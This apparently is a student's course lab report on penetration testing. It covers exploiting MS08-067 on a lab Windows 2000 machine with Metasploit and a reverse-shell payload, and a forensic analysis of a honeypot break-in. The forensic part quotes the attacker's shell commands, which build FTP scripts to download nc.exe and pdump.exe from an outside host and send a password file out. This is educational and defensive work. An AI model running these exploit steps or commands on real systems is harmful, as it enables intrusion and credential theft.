20211904 2021-2022-2 《网络攻防实践》第六次作业

1.实验介绍

1.1 Metasploit

Metasploit全称The Metasploit Framework,是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击,并且它附带数百个已知软件漏洞的专业级漏洞攻击工具。这个框架高度模块化,即框架由多个module组成,是一款开源安全漏洞利用和测试工具,集成了各种平台上常见的溢出漏洞和流行的shellcode,并持续保持更新。此框架涵盖了渗透测试中全过程,用户可以在这个框架下利用现有的Payload进行一系列的渗透测试。

1.2 NT系统

NT即New Technology之意,Windows NT主要是为客户机/服务器而设计的操作系统

1.3 渗透的概念

(一)渗透是攻击者常用的一种攻击手段,也是一种综合的高级攻击技术,同时渗透也是安全工作者所研究的一个课题,在他们口中通常被称为”渗透测试(Penetration Test)”。无论是网络渗透(Network Penetration)还是渗透测试(Penetration Test),其实际上所指的都是同一内容,也就是研究如何一步步攻击入侵某个大型网络主机服务器群组。只不过从实施的角度上看,前者是攻击者的恶意行为,而后者则是安全工作者模拟入侵攻击测试,进而寻找最佳安全防护方案的正当手段。

(二)网络渗透攻击与普通攻击的不同,网络渗透攻击与普通网络攻击的不同在于,普通的网络攻击只是单一类型的攻击。例如,在普通的网络攻击事件中,攻击者可能仅仅是利用目标网络的Web服务器漏洞,入侵网站更改网页,或者在网页上挂马。也就是说,这种攻击是随机的,而其目的也是单一而简单的。网络渗透攻击则与此不同,它是一种系统渐进型的综合攻击方式,其攻击目标是明确的,攻击目的往往不那么单一,危害性也非常严重。

(三)例如,攻击者会有针对性地对某个目标网络进行攻击,以获取其内部的商业资料,进行网络破坏等。因此,攻击者实施攻击的步骤是非常系统的,假设其获取了目标网络中网站服务器的权限,则不会仅满足于控制此台服务器,而是会利用此台服务器,继续入侵目标网络,获取整个网络中所有主机的权限。为了实现渗透攻击,攻击者采用的攻击方式绝不仅此于一种简单的Web脚本漏洞攻击。攻击者会综合运用远程溢出、木马攻击、密码破解、嗅探、ARP欺骗等多种攻击方式,逐步控制网络。

(四)总体来说,与普通网络攻击相比,网络渗透攻击具有几个特性:攻击目的的明确性,攻击步骤的逐步与渐进性,攻击手段的多样性和综合性。

来源:https://zhuanlan.zhihu.com/p/146568877

 

2.实验过程

2.1 动手实践Metasploit windows attacker

2.1.1 任务清单
任务:使用metasploit软件进行windows远程渗透统计实验。

具体任务内容:使用windows Attacker/BT4攻击机尝试对windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机的访问权。
2.1.2 实验所用虚拟机IP地址
虚拟机名称IP地址网络连接
Kali 192.168.25.4 NAT
Win2kServer 192.168.25.26 NAT
2.1.3 Kali与Win2kServer连通性测试

image-20220422145732336

2.1.4 在Kali上打开 metasploit framework

image-20220422150011688

2.1.5 输入指令 "search Ms08-067" 搜索靶机上的漏洞 ”MS08-067“
search [name] 查找metasploit框架中的所有渗透攻击和其他模块。

image-20220422150333316

2.1.6 输入指令 "use /exploit/windows/smb/ms08_067_netapi"装载查询到的模块,输入指令"show payloads"搜索此模块下的载荷
use [name] 装载一个渗透攻击或者模块
show payloads 列出metasploit框架中的所有攻击载荷。

image-20220422151610072

2.1.7 输入指令 "set payload generic/shell_reverse_tcp" 选择这个攻击模块,输入指令"show options"查看发起这个攻击需要设置的参数
之所以选这个模块,是因为我们实验的要求是通过远程渗透"获取目标主机的访问权",为什么反弹shell可以获取目标主机的访问权,原理可以查看一下链接:
https://xz.aliyun.com/t/2549?page=1#toc-0

set payload [name] 指定想要使用的攻击载荷。
show options 列出某个渗透攻击或模块中所有的参数配置。

image-20220422154006844

2.1.8 输入指令 "set RHOSTS 192.168.25.26" 设置目标靶机的IP地址,输入指令"show options"查看参数设置是否正确

image-20220422154333600

2.19 在Win2kServer中输入指令 "netstat -an" 查看445号端口是否已经打开

image-20220422155326449

2.1.10 参数没有问题,输入指令 "exploit" 开启攻击,打开Wireshark查看发起攻击过程中抓到的数据包
exploit 执行渗透攻击或模块来攻击目标。

image-20220422155916652

image-20220422160207753

 

2.2 取证分析实践:解码一次成功的NT系统破解攻击

2.2.1 任务清单
来自212.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106,(主机名为lab.wiretrip.net),要求提取并分析攻击的全部过程。
- 攻击者使用了什么破解工具进行攻击?
- 攻击者如何使用这个破解工具进入并控制了系统?
- 攻击者获得系统访问权限后做了什么?
- 我们如何防止这样的攻击?
- 你觉得攻击者是否警觉了他的目标是一台蜜罐主机? 如果是,为什么?
2.2.2 使用Wireshark打开日志文件 "snort-0204@0117.log"

image-20220422161608244

大概查看整个文件,可以看到一些 HTTP请求命令(POST GET)、系统操作命令(FTP)以及一些正常的数据包

2.2.3 设置过滤规则"ip.addr == 172.16.1.106 and http"

image-20220422202449781

2.2.4 定位特殊的数据包,追踪数据流,找到特殊字符"%C0%AF",在Unicode中此编码对应为"/",可知存在Unicode字符解析错误漏洞

image-20220422202913403

2.2.5 继续跟踪数据包,发现存在POST请求msadcs.dll的数据包,追踪此数据包发现存在数据库查询语句和shell语句,结合"ADM!ROX!YOUR!WORLD!--"可知此为RDS漏洞,通过此漏洞进行SQL注入

image-20220422203113970

2.2.6 收集整理数据包中,使用shell执行的指令,可得一下表格
指令注释
shell("cmd/c echo werd >> c:\fun") 将"werd"写入C盘下的fun目录
shell("cmd/c echo user john2k >> ftpcom") 将" user john2k"写入ftpcom文件
shell("cmd/c echo hacker 2000 >> ftpcom") 将" hacker 2000"写入ftpcom文件
shell("cmd/c echo get pdump.exe >> ftpcom") 将" get pdump.exe"写入ftpcom文件
shell("cmd/c echo get nc.exe >> ftpcom") 将" get nc.exe"写入ftpcom文件
shell("cmd/c echo quit >> ftpcom") 将" quit"写入ftpcom文件
shell("cmd/c ftp -s:ftpcom-n www.nether.net") ftp -s 指定包含ftp命令的文件,这个文件会在ftp启动后运行,也就是会执行下载的文件
shell("cmd/c echo get pdump.exe >> new.pass") 将" get pdump.exe"写入new.pass文件
shell("cmd/c echo user john2k >> ftpcom2") 将" user john2k"写入ftpcom2文件
shell("cmd/c echo hacker 2000 >> ftpcom2") 将" hacker 2000"写入ftpcom2文件
shell("cmd/c put new.pass >> ftpcom2") 将new.pass文件上传到ftpcom2
shell("cmd/c echo quit >> ftpcom2") 将" quit"写入ftpcom2文件
shell("cmd/c ftp -s:ftpcom2-n www.nether.net ) ftp -s 指定包含ftp命令的文件,这个文件会在ftp启动后运行,也就是会执行下载的文件
shell("cmd/c ftp 213.116.251.162") ftp连接ip 213.116.251.162
shell("cmd/c open 213.116.251.162 ") open 213.116.251.162
shell("cmd/c echo user john2k >> sasfile") 向213.116.251.162" user john2k"写文件
shell("cmd/c echo hacker 2000 >> sasfile") 向213.116.251.162" hacker 2000"写入文件
shell("cmd/c echo get pdump.exe >> sasfile") 向213.116.251.162" get pdump.exe"写入ftpcom文件
shell("cmd/c echo get nc.exe >> sasfile") 向213.116.251.162" get nc.exe"写入ftpcom文件
2.2.7 防止攻击的方式
1.禁用存在漏洞的服务
2.定期扫描漏洞
3.给漏洞打补丁
4.有针对的更新防火墙的策略
5.使用强口令

 

2.3 团队对抗实践:windows系统远程渗透攻击和分析

2.3.1 任务清单
攻方使用metasploit选择漏洞进行攻击,获得控制权。(要求写出攻击方的同学信息、使用漏洞、相关IP地址等)
防守方使用wireshark监听获得的网络数据包,分析攻击过程,获取相关信息。
2.3.2 本次实验攻守IP地址 [与20211914tkx同学互相攻击完成]
 名称IP地址
我方攻击机 Kali 192.168.31.224
我方靶机 Win2kServer 192.168.31.95
对方攻击机 Kali 192.168.31.195
对方靶机 Win2kServer 192.168.31.58
2.3.3 联通测试 我方攻击机和靶机ping对方攻击机和靶机

image-20220422221240783

image-20220422221342281

2.3.4 根据实践1的方法对漏洞ms08-067发起进攻,ping、写入文件、ipconfig等

image-20220422222738401

image-20220422222815900

image-20220422222831035

image-20220422222903903

2.3.5 作为防守方进行抓包分析,可以看到对方在我的靶机上进行了一系列骚操作

image-20220422223709556

image-20220422223629565

image-20220422224251921

image-20220422224321219

image-20220422224407153

3.学习中遇到的问题及解决

  • 问题1:无法成功攻击对方靶机

  • 问题1解决方式:重新检测联通性,重置IP,再次攻击。

4.学习感悟

通过这次实验,我学到了非常有用的渗透框架metasploit,这个框架集成了许多漏洞攻击模块,通过学习使用这个框架,我了解到了很多漏洞,以及攻击漏洞的原理和方法,并且在进行实践三的时候,通过和同学之间的互相攻击,让我更加明确了攻击的原理,受益匪浅。

参考资料

posted @ 2022-04-22 22:47  20211904  阅读(114)  评论(0编辑  收藏  举报